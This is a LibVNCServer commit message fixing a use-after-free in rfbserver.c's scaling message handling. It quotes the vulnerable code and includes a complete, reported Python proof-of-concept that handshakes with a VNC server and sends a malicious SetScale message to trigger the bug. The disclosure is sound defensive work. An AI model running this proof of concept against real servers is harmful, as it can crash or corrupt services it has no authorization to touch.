• Christian Beier's avatar
    Fix Use-After-Free vulnerability in LibVNCServer wrt scaling. · 668d3e37
    Christian Beier authored
    Reported by Ken Johnson <Ken.Johnson1@telus.com>.
    
    The vulnerability would occur in both the rfbPalmVNCSetScaleFactor and rfbSetScale cases in the rfbProcessClientNormalMessage function of rfbserver.c. Sending a valid scaling factor is required (non-zero)
    
          if (msg.ssc.scale == 0) {
              rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero");
              rfbCloseClient(cl);
              return;
          }
    
          rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg);
          rfbLog("rfbSetScale(%d)\n", msg.ssc.scale);
          rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale);
    
          rfbSendNewScaleSize(cl); << This is the call that can trigger a free.
          return;
    
    at the end, both cases there is a call the rfbSendNewScaleSize function, where if the connection is subsequently disconnected after sending the VNC scaling message can lead to a free occurring.
    
        else
        {
            rfbResizeFrameBufferMsg        rmsg;
            rmsg.type = rfbResizeFrameBuffer;
            rmsg.pad1=0;
            rmsg.framebufferWidth  = Swap16IfLE(cl->scaledScreen->width);
            rmsg.framebufferHeigth = Swap16IfLE(cl->scaledScreen->height);
            rfbLog("Sending a response to a UltraVNC style frameuffer resize event (%dx%d)\n", cl->scaledScreen->width, cl->scaledScreen->height);
            if (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) {
                rfbLogPerror("rfbNewClient: write");
                rfbCloseClient(cl);
                rfbClientConnectionGone(cl); << Call which may can lead to a free.
                return FALSE;
            }
        }
        return TRUE;
    
    Once this function returns, eventually rfbClientConnectionGone is called again on the return from rfbProcessClientNormalMessage. In KRFB server this leads to an attempt to access client->data.
    
    POC script to trigger the vulnerability:
    
    ---snip---
    
    import socket,binascii,struct,sys
    from time import sleep
    
    class RFB:
    
        INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
        AUTH_NO_PASS  = "\x01"
        AUTH_PASS = "\x02"
        SHARE_DESKTOP = "\x01"
    
        def AUTH_PROCESS(self,data,flag):
            if flag == 0:
                # Get security types
                secTypeCount = data[0]
                secType = {}
                for i in range(int(len(secTypeCount))):
                    secType[i] = data[1]
                return secType
            elif flag == 1:
                # Get auth result
                # 0 means auth success
                # 1 means failure
                return data[3]
    
        def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD):
            try:
                from Crypto.Cipher import DES
            except:
                print "Error importing crypto. Please fix or do not require authentication"
                sys.exit(1)
            if len(PASSWORD) != 8:
                PASSWORD = PASSWORD.ljust(8, '\0')
    
            PASSWORD_SWAP = [self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]
            PASSWORD = (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))
            crypto = DES.new(PASSWORD)
            return crypto.encrypt(data)
    
        def reverse_bits(self,x):
            a=0
            for i in range(8):
                a += ((x>>i)&1)<<(7-i)
            return a
    
    def main(argv):
    
        print "Proof of Concept"
        print "Copyright TELUS Security Labs"
        print "All Rights Reserved.\n"
    
        try:
            HOST = sys.argv[1]
            PORT = int(sys.argv[2])
        except:
            print "Usage: python setscale_segv_poc.py <host> <port> [password]"
            sys.exit(1)
        try:
            PASSWORD = sys.argv[3]
        except:
            print "No password supplied"
            PASSWORD = ""
    
        vnc = RFB()
    
        remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        remote.connect((HOST,PORT))
    
        # Get server version
        data = remote.recv(1024)
        # Send 3.8 version
        remote.send(vnc.INIT_3008)
        # Get supported security types
        data = remote.recv(1024)
        # Process Security Message
        secType = vnc.AUTH_PROCESS(data,0)
    
        if secType[0] == "\x02":
            # Send accept for password auth
            remote.send(vnc.AUTH_PASS)
            # Get challenge
            data = remote.recv(1024)
            # Send challenge response
            remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD))
    
        elif secType[0] == "\x01":
            # Send accept for None pass
            remote.send(vnc.AUTH_NO_PASS)
    
        else:
            print 'The server sent us something weird during auth.'
            sys.exit(1)
    
        # Get result
        data = remote.recv(1024)
        # Process result
        result = vnc.AUTH_PROCESS(data,1)
    
        if result == "\x01":
            # Authentication failure.
            data = remote.recv(1024)
            print 'Authentication failure. Server Reason: ' + str(data)
            sys.exit(1)
    
        elif result == "\x00":
            print "Authentication success."
    
        else:
            print 'Some other authentication issue occured.'
            sys.exit(1)
    
        # Send ClientInit
        remote.send(vnc.SHARE_DESKTOP)
    
        # Send malicious message
        print "Sending malicious data..."
        remote.send("\x08\x08\x00\x00")
        remote.close()
    
    if __name__ == "__main__":
        main(sys.argv)
    
    ---snap---
    668d3e37
scale.c 14.6 KB